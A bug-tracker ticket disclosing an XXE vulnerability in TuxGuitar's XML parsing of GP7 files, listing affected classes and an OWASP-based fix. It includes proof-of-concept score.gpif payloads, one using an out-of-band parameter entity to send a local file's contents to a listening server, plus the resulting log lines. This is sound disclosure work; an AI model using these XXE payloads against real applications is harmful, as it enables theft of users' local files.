TuxGuitar Bugs

Status: Beta
Brought to you by: akdmia

#126 XXE caused by misconfigured XML parser

Milestone: v1.0 (example) **Status:** open **Owner:** nobody **Labels:** None
Priority: 5
Updated: 2020-06-15 **Created:** 2020-06-15 **Creator:** mmmds **Private:** No

This is a resubmission of a private ticket I issued before (15.05.2020):

XML parsers used in the application are not configured to prevent XXE (XML External Entity) attacks. There are a few places where XML are parsed. One example is loading GP7 (".gp") file format, that is a zip containing a few files including one XML file (Content/score.gpif). It is possible to create a valid GP7 file that uses external entity to steal content of users' local files. The only limitation is that stolen file must not contain new line characters, otherwise URL parser will throw an exception (this limitation is common for Java based applications vulnerable to XXE). I haven't confirmed but it is likely that the same applies to GP6 format as they share code responsible for parsing.

Classes using misconfigured XML parser:

- TuxGuitar-gpx/src/org/herac/tuxguitar/io/gpx/GPXDocumentReader.java

```
private Document getDocument(InputStream stream) {
        try {
            return DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(stream);
        } catch (Throwable throwable) {
```

- TuxGuitar/src/org/herac/tuxguitar/app/view/dialog/chord/xml/TGChordXMLReader.java
- TuxGuitar-community/src/org/herac/tuxguitar/community/browser/TGBrowserResponse.java
- TuxGuitar-community/src/org/herac/tuxguitar/community/io/TGShareSongResponse.java
- TuxGuitar-editor-utils/src/org/herac/tuxguitar/editor/template/TGTemplateReader.java
- TuxGuitar-musicxml/src/org/herac/tuxguitar/io/musicxml/MusicXMLWriter.java
- TuxGuitar/src/org/herac/tuxguitar/app/system/keybindings/xml/KeyBindingReader.java
- TuxGuitar/src/org/herac/tuxguitar/app/system/keybindings/xml/KeyBindingWriter.java
- TuxGuitar/src/org/herac/tuxguitar/app/tools/browser/xml/TGBrowserReader.java
- TuxGuitar/src/org/herac/tuxguitar/app/tools/browser/xml/TGBrowserWriter.java
- TuxGuitar/src/org/herac/tuxguitar/app/tools/scale/xml/ScaleReader.java

Fix proposition
According to OWASP it is recommended to disable external entities this way:

```
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
```

more details: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

I also attach two sample GP7 files triggering the vulnerability and steps to reproduce (they call local server)
- poc1.gp:
Content/score.gpif

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE oob [
        <!ENTITY sy SYSTEM "http://127.0.0.1:8000/">
        ]>
<GPIF>
<xxe>&sy;</xxe>
[...]
```

- run local server `python3 -m http.server`
- open file in TuxGuitar
- receive request

```
127.0.0.1 - - [15/May/2020 17:32:09] "GET / HTTP/1.1" 200 -
```

- poc2.gp

```
Content/score.gpif
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE oob [
        <!ENTITY % sy SYSTEM "http://127.0.0.1:8000/ev1.dtd">
        %sy;
        %param1;
        ]>
<GPIF>
<xxe>&exfil;</xxe>
[...]
```

- run local server to server ev1.dtd file `python3 -m http.server`
- open file in TuxGuitar

- receive request and content of stolen /etc/issue file

```
127.0.0.1 - - [15/May/2020 17:33:32] "GET /ev1.dtd HTTP/1.1" 200 -
127.0.0.1 - - [15/May/2020 17:33:32] code 400, message Bad request syntax ('GET /?Ubuntu 18
127.0.0.1 - - [15/May/2020 17:33:32] "GET /?Ubuntu 18.04.4 LTS \n \l HTTP/1.1" 400 -
```

3 Attachments

ev1.dtd

poc1.gp

poc2.gp

Discussion

Log in to post a comment.